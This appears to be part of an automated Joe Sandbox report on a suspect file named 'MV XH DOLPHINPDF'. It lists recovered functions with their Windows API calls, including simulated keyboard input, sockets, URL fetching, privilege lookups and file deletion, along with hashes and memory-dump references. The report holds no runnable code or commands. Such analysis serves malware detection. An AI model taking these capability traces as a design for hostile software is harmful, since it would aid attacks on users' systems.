Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 524c7517910f68098ecd1505304e53dc2ab353584dbe7d24e86b344c5f7c1620
Instruction ID: a645beea0fb0788eab322c89467912c5caade15b7e91b6741bb50aa6ced181ca
Opcode Fuzzy Hash: 524c7517910f68098ecd1505304e53dc2ab353584dbe7d24e86b344c5f7c1620
Instruction Fuzzy Hash: 88516BB1904258AFDF249F65DC81ADEBBB9FF48300F1004AEB649A7242DB715E90CF58

Function 00109A63 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(010ED950,?), ref: 00109AD2
ScreenToClient.USER32(00000002,00000002), ref: 00109B05
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00109B72

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: deba12b6352424c7b4717e2a043ebe2c80a65c6e91704baf428b1a38842ea4ec
Instruction ID: 02eb3ae79ccc9a91132f554fc8d1203604924eb9c75999dfa01fc3f16681d557
Opcode Fuzzy Hash: deba12b6352424c7b4717e2a043ebe2c80a65c6e91704baf428b1a38842ea4ec
Instruction Fuzzy Hash: 6F513C34A00209EFCF20DF68D891DAE7BB5FB55324F108259F8959B2E1D770AD81CB90

Function 000F6CBD Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 000F6CE4
WSAGetLastError.WSOCK32(00000000), ref: 000F6CF4

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 000F6D58
WSAGetLastError.WSOCK32(00000000), ref: 000F6D64

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: c24d37177c860db36b97c9a5adb8d2bff3bbaa794deb6f24e871f9206e2a1fe9
Instruction ID: a61270b2ef86c9c167d30e97056bda406f2670bbb0939e192b0907c1e8330f79
Opcode Fuzzy Hash: c24d37177c860db36b97c9a5adb8d2bff3bbaa794deb6f24e871f9206e2a1fe9
Instruction Fuzzy Hash: 2E418F75740214AFEB24BF24DC86FBA77E5AB04B10F44801CFA999B6D3DBB19D018B91

Function 000F672D Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0010F910), ref: 000F67BA
_strlen.LIBCMT ref: 000F67EC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 0b0146d61aab92ffe4f52b98a0fde4d3e82c4db3cd286f93a611a9d08d436df5
Instruction ID: 9215ef6ad0903c10180bd6fbff33304be61a1cd78e6d20c084f4c049573b02ac
Opcode Fuzzy Hash: 0b0146d61aab92ffe4f52b98a0fde4d3e82c4db3cd286f93a611a9d08d436df5
Instruction Fuzzy Hash: 1741B031A00208ABCB14FBA4DCD5EFEB7A8AF08350F148269F91597693DF31AD01DB50

Function 000EBA5F Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 000EBB09
GetLastError.KERNEL32(?,00000000), ref: 000EBB2F
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 000EBB54
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 000EBB80

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 16f1a7440af11ecd3a8a0f9b53bf02801a984c76a3d4ab1a0407a0ab65cfd131
Instruction ID: 843c42f5da81eea38d38ed8df02b5f296b2e452c76db079a9a4947eb9e6e627f
Opcode Fuzzy Hash: 16f1a7440af11ecd3a8a0f9b53bf02801a984c76a3d4ab1a0407a0ab65cfd131
Instruction Fuzzy Hash: 9B413C39200550DFCB10FF19C585A6DBBE1FF89310B098498E88AAB762CB70FD41CB91

Function 00108AC0 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00108B4D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 2a6e9d74b8fce4027f5ed835566e817b400685880e3caa87457c8fae5baa1bf2
Instruction ID: 70f7b262357f8cf03e26216164d1cbb634d75b52e89e1cfa85cdfba22ea75c3c
Opcode Fuzzy Hash: 2a6e9d74b8fce4027f5ed835566e817b400685880e3caa87457c8fae5baa1bf2
Instruction Fuzzy Hash: FB31C4B4608204BFEF249F18CC85FA93BA4FB06310F244516FAD1D76E1DFB1A9809751

Function 0010ADF1 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0010AE1A
GetWindowRect.USER32(?,?), ref: 0010AE90
PtInRect.USER32(?,?,0010C304), ref: 0010AEA0
MessageBeep.USER32(00000000), ref: 0010AF11

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: b358d74ce9f4753cdafa05ca6f810925e566e236ff897dfe721094e0c7a319be
Instruction ID: 479ca8399158844b71157de0635935f980aa8180c04dfde2411380ccccb33c16
Opcode Fuzzy Hash: b358d74ce9f4753cdafa05ca6f810925e566e236ff897dfe721094e0c7a319be
Instruction Fuzzy Hash: 91418074600316DFCB11DF58C884B997BF5FF4A340F5481A9E494CB2A1D7B1A842CF92

Function 000E0FE6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 000E1037
SetKeyboardState.USER32(00000080,?,00000001), ref: 000E1053
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 000E10B9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 000E110B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 703e61eec646148861420cffbbde2c975047802e7246c76ee076f95b2a930a27
Instruction ID: 0c9bbcc24aaf4845483c64347e257481fc4c1502fd2fb7c26764ecbaff658ab0
Opcode Fuzzy Hash: 703e61eec646148861420cffbbde2c975047802e7246c76ee076f95b2a930a27
Instruction Fuzzy Hash: BA313370E446C8AEFB348A678C05BFEBBE9AF45320F08431AE591725D1C3F589C597A1

Function 000E1121 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 000E1176
SetKeyboardState.USER32(00000080,?,00008000), ref: 000E1192
PostMessageW.USER32(00000000,00000101,00000000), ref: 000E11F1
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 000E1243

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: f3997c603f0ffc382b74e200a48cc2775bd23246105b626dd4fe686e40c33ebb
Instruction ID: 36ce3cfc964a8ccd8b45c9f316ad8704a30f3a1fdd3c6f9201459086f872f6d6
Opcode Fuzzy Hash: f3997c603f0ffc382b74e200a48cc2775bd23246105b626dd4fe686e40c33ebb
Instruction Fuzzy Hash: AF312630A40688AEEF348A678C05BFEBBFAAF49310F04439EF691B25D1C37489959751

Function 000B6415 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000B644B
__isleadbyte_l.LIBCMT ref: 000B6479
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 000B64A7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 000B64DD

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 496330d0a1226744478717532bd475cdba77543979e14d32a35c49eb865b09f8
Instruction ID: 0d064f9bdb31f0ba5fddf8d03c793b9668c35af8c8394dc38efaf56607374347
Opcode Fuzzy Hash: 496330d0a1226744478717532bd475cdba77543979e14d32a35c49eb865b09f8
Instruction Fuzzy Hash: D931CD31600A46AFDB358F65C845BFA7BE9FF41320F154429F864872A1EB3AD891DB90

Function 00105175 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00105189

Part of subcall function 000E387D: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 000E3897
Part of subcall function 000E387D: GetCurrentThreadId.KERNEL32 ref: 000E389E
Part of subcall function 000E387D: AttachThreadInput.USER32(00000000,?,000E52A7), ref: 000E38A5

GetCaretPos.USER32(?), ref: 0010519A
ClientToScreen.USER32(00000000,?), ref: 001051D5
GetForegroundWindow.USER32 ref: 001051DB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: fa5b7ccaffbbc921292a9cb79b5f13e8d59e3dc60d9e5a3e7a8219caf686e532
Instruction ID: a420d95935ca9bd515fa86ec3bb5d8bb1b687c2431181ee9080ccd3fb8e52364
Opcode Fuzzy Hash: fa5b7ccaffbbc921292a9cb79b5f13e8d59e3dc60d9e5a3e7a8219caf686e532
Instruction Fuzzy Hash: 16314F71900108AFCB04FFA5C8859EFB7F9EF88300F14406AE446E7242DA759E41CBA1

Function 0010C788 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

GetCursorPos.USER32(?), ref: 0010C7C2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,000BBBFB,?,?,?,?,?), ref: 0010C7D7
GetCursorPos.USER32(?), ref: 0010C824
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,000BBBFB,?,?,?), ref: 0010C85E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 00d71b3feec46390713eec35a3b5d8700d57cca278eb97d194e2adeed991929c
Instruction ID: 20cb430aedf120ffd35b8e115529a97d6ba667d65faaa8b4e73483fab7eb69d1
Opcode Fuzzy Hash: 00d71b3feec46390713eec35a3b5d8700d57cca278eb97d194e2adeed991929c
Instruction Fuzzy Hash: FA31B635500118AFCB25CF58CC98EEABBB5FB0A310F04416AF985876A1D7715D51DFA4

Function 000D8B9E Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000D8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 000D8669
Part of subcall function 000D8652: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 000D8673
Part of subcall function 000D8652: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 000D8682
Part of subcall function 000D8652: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 000D8689
Part of subcall function 000D8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 000D869F

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 000D8BEB
_memcmp.LIBCMT ref: 000D8C0E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 000D8C44
HeapFree.KERNEL32(00000000), ref: 000D8C4B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 60b44d3877444a0f0a2c3f50f81b6b9996f0822586829c77c98c32cbd9edb579
Instruction ID: 0c6761fc68b391b0ca9f03eef398094c80d20ec0d9c50fd1aa82afe7e5998e1e
Opcode Fuzzy Hash: 60b44d3877444a0f0a2c3f50f81b6b9996f0822586829c77c98c32cbd9edb579
Instruction Fuzzy Hash: 99217A71E11208EFDB10DFA4C949BEEB7F8EF44354F14809AE454A7241EB71AA46CB70

Function 000A0BD0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 000A0BF2

Part of subcall function 00085B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,000E7B20,?,?,00000000), ref: 00085B8C
Part of subcall function 00085B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,000E7B20,?,?,00000000,?,?), ref: 00085BB0

_fprintf.LIBCMT ref: 000A0C29
OutputDebugStringW.KERNEL32(?), ref: 000D6331

Part of subcall function 000A4CDA: _flsall.LIBCMT ref: 000A4CF3

__setmode.LIBCMT ref: 000A0C5E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 8abbce463f73b121b5a19dc05a1a2498fb3d28a5c32be6e0b8badb4d19798b62
Instruction ID: 814309d098e5ba60960ce7c1fc0cba98be7c79402a3f8e11d1e5ff1b32b6064b
Opcode Fuzzy Hash: 8abbce463f73b121b5a19dc05a1a2498fb3d28a5c32be6e0b8badb4d19798b62
Instruction Fuzzy Hash: 571136369042087FCB04B7F8AC479FEBBA8AF86320F14412AF20457193DFA15D8287A5

Function 000F1A5B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 000F1A97

Part of subcall function 000F1B21: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 000F1B40
Part of subcall function 000F1B21: InternetCloseHandle.WININET(00000000), ref: 000F1BDD

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 4ecb6b3ae5c968126098876d3cefbc7fce49677e34706f3b766df04dfad57b24
Instruction ID: 317d3a717671d3f548653dc1ea06741cec34371dbacf3231f1f69d1cdb47fb59
Opcode Fuzzy Hash: 4ecb6b3ae5c968126098876d3cefbc7fce49677e34706f3b766df04dfad57b24
Instruction Fuzzy Hash: 8B216F35204609FFDB229F608C05FFBB7A9FF88701F10401AFB5596E51EB719815ABA1

Function 000DE1AF Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000DF5AD: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,000DE1C4,?,?,?,000DEFB7,00000000,000000EF,00000119,?,?), ref: 000DF5BC
Part of subcall function 000DF5AD: lstrcpyW.KERNEL32(00000000,?), ref: 000DF5E2
Part of subcall function 000DF5AD: lstrcmpiW.KERNEL32(00000000,?,000DE1C4,?,?,?,000DEFB7,00000000,000000EF,00000119,?,?), ref: 000DF613

lstrlenW.KERNEL32(?,00000002,?,?,?,?,000DEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 000DE1DD
lstrcpyW.KERNEL32(00000000,?), ref: 000DE203
lstrcmpiW.KERNEL32(00000002,cdecl,?,000DEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 000DE237

Strings

cdecl, xrefs: 000DE22E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: f5543a18fb54245778912af4706ef1aa017a3c3c63d0ef2950e0185dafd67e30
Instruction ID: a3cb5720fe71fe3776a6117b98aa354a50acab5e3dbbc15d8be93312fd701af1
Opcode Fuzzy Hash: f5543a18fb54245778912af4706ef1aa017a3c3c63d0ef2950e0185dafd67e30
Instruction Fuzzy Hash: D5118E36200345EFCB25AF64DC45DBA77B8FF85350B40812BF916CB6A4EBB1A851D7A0

Function 000B5332 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 000B5351

Part of subcall function 000A594C: __FF_MSGBANNER.LIBCMT ref: 000A5963
Part of subcall function 000A594C: __NMSG_WRITE.LIBCMT ref: 000A596A
Part of subcall function 000A594C: RtlAllocateHeap.NTDLL(010D0000,00000000,00000001,00000000,?,?,?,000A1013,?), ref: 000A598F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 63d47eff7fa3666c4727d3d603d526888ce074c1ea61bfec81b386403b973d0b
Instruction ID: 6856e0658963fddcad254ada35a888d603e1688786da34e8294cc5d2fc2d9712
Opcode Fuzzy Hash: 63d47eff7fa3666c4727d3d603d526888ce074c1ea61bfec81b386403b973d0b
Instruction Fuzzy Hash: 4111E732904A15AFCB312FB4AC057DD37D4AF16BB2B204479F9849A292DFB58B81C750

Function 00084531 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00084560

Part of subcall function 0008410D: _memset.LIBCMT ref: 0008418D
Part of subcall function 0008410D: _wcscpy.LIBCMT ref: 000841E1
Part of subcall function 0008410D: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 000841F1

